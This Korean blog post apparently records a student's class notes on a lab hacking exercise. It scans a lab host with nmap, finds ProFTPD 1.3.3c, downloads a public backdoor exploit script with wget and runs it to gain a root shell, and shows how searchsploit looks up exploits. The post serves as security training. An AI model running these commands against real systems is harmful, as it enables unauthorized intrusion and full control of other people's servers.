2023. 8. 23. 10:02ㆍnormaltic 비기너 클래스 1기/내용 정리
Task 2 문제로 배운 내용 실습
해킹은 정보 수집 -> 서비스 분석 -> Exploit -> Post Exploit 단계를 거쳐 진행된다.
Task 2 문제를 가지고 직접 실습해보자.
정보 수집
정보 수집 단계에서는 공격 대상에 대한 정보를 최대한 수집하는 단계이다. 포트 스캔, 웹 디렉터리 스캔 등 공격 루트가 될법한 모든 정보를 모아보자.
공격 대상의 IP 주소는 '10.10.143.32'이다.
포트 스캔
nmap -sCV 10.10.143.32 > scan_res
cat scan_res
포트 스캔을 하기 위해 nmap 명령어를 사용하여 출력된 결과를 scan_res파일에 저장하였다. scan_res에 저장된 내용을 cat 명령어를 사용하여 출력했더니 21, 22, 80번 포트가 열려있다는 것을 확인할 수 있었다. 열린 포트 중 21번 포트는 FTP(File Transfer Protocol)라 하여 파일 전송 프로토콜을 담당한다. 이 포트에서 서비스 중인 ProFTPD 1.3.3c에 대해서 취약점이 있는지 알아보자.
서비스 분석
취약점에 대한 정보를 알 수 있는 방법은 여러 가지가 존재한다. 구글링을 하거나 아니면 칼리 리눅스에서 searchsploit 명령어를 사용하는 방법이 존재한다.
구글링
이번에는 기본적으로 구글링을 통하여 ProFTPD 1.3.3c 서비스에 대한 취약점을 알아보자. 구글링을 통해 취약점을 알아볼 때 [서비스 이름] exploit github 형식으로 효율적인 검색이 가능하다. 검색 결과 최상단 웹을 클릭해 준다.
wget https://raw.githubusercontent.com/shafdo/ProFTPD-1.3.3c-Backdoor_Command_Execution_Automated_Script/main/proFTPD_1.3.3c_exploit.py
ls
chmod +x proFTPD_1.3.3c_exploit.py
클릭 후 빨간 줄로 밑줄 쳐진 버튼들을 순서대로 클릭 후 마지막 url을 복사해 준다. 복사한 url을 wget 명령어의 인수로 사용하게 되면 클릭한 파일을 칼리 리눅스에 다운로드할 수 있다. 이후 chmod 명령어를 사용하여 실행권한을 부여한다.
python3 proFTPD_1.3.3c_exploit.py
다운로드한 파일의 확장자가. py로 되어있으므로 python or python3 명령어를 사용하여 실행해 준다. 그렇게 하면 일반적으로 usage가 출력되는데 그대로 따라 하여 실행해 주면 된다. 가끔 usage가 나오지 않는 경우도 있는데 그때는 직접 해당 파일의 코드를 읽어 사용법을 알아내면 된다.
python3 proFTPD_1.3.3c_exploit.py 10.18.30.184 10.10.143.32 21
uasge에서 'python3 proFTPD_1.3.3c_exploit.py <Attacker-IP> <Target-IP> <Target Port (Optional)>' 이러한 형식으로 명령어를 실행하면 된다고 한다. Attacker-IP에는 공격자의 IP주소를, Target-IP에는 공격 대상의 IP주소를, Target Port에는 해당 서비스의 포트를 입력해 주면 된다. 해당 형식으로 명령어를 실행하게 되면 공격대상의 root 권한을 가진 쉘을 획득할 수 있다.
Searchsploit
위에서 구글링을 통해 서비스에 대한 취약점을 알아보고 공격을 진행해 보았다. 이번에는 서비스에 대한 취약점을 알아보는 방법으로 칼리 리눅스에서 searchsploit 명령어를 사용하는 방법에 대해 간단하게 알아보려고 한다.
searchsploit ProFTPD 1.3.3c
searchsploit 명령어의 인수로 공격 대상의 서비스를 입력해 주면 칼리 리눅스 내에 존재하는 해당 서비스에 대한 취약점에 대한 정보를 출력해 준다. Exploit Title 탭이 해당 서비스의 취약점 내용이며 Path 탭은 각 취약점을 이용하여 공격하는 방법에 대한 정보가 적혀있는 파일의 경로를 알려준다.
cat /usr/share/exploitdb/exploits/linux/remote/15662.txt
예시로 첫 번째 라인에 적혀있는 'ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution' 취약점에 대한 정보를 알아보자. 해당 취약점에 대한 정보를 가진 파일의 경로는 'linux/remote/15662.txt'에 존재한다. 칼리 리눅스에서 취약점에 대한 정보가 담겨있는 경로는 '/usr/share/exploitdb/exploits~'에 존재하며 searchsploit 명령어에서 출력하는 파일의 경로는 '/usr/share/exploitdb/exploits~'의 다음 경로만을 출력한 것이다. 그래서 해당 정보를 가진 파일의 위치는 '/usr/share/exploitdb/exploits/ + linux/remote/15662.txt'로 알 수 있다.
또한 취약점에 대한 정보를 가진 파일은 여러 가지 종류가 존재한다.
- .txt : 텍스트 파일이며 공격 방법에 대한 정보가 적혀있으며 그 방식대로 따라 하여 직접 공격하게 하는 파일이다.
- .rb : ruby언어로 이루어져 있으며 주로 Metasploit를 사용하여 실행하는 파일이다.
- .py : python언어로 이루어져 있으며 python or python3 명령어를 사용하여 실행하는 파일이다.
- .c : c언어로 이루어져 있으며 gcc명령어를 사용하여 컴파일 과정을 거쳐야 한다.
- .sh : 쉘 스크립트 파일이며 실행권한 부여 후 실행하는 파일이다.
'normaltic 비기너 클래스 1기 > 내용 정리' 카테고리의 다른 글
[normaltic 비기너 클래스 1기] 2023-09-06 Skill Course 4주차 내용 정리 (0) | 2023.09.12 |
---|---|
[normaltic 비기너 클래스 1기] 2023-08-30 Skill Course 3주차 내용 정리 (0) | 2023.09.11 |
[normaltic 비기너 클래스 1기] 2023-08-09 Skill Course 1주차 내용 정리 (0) | 2023.08.22 |
[normaltic 비기너 클래스 1기] 2023-08-02 4주차 내용 정리 (0) | 2023.08.09 |
[normaltic 비기너 클래스 1기] 2023-07-26 3주차 내용 정리 (0) | 2023.07.28 |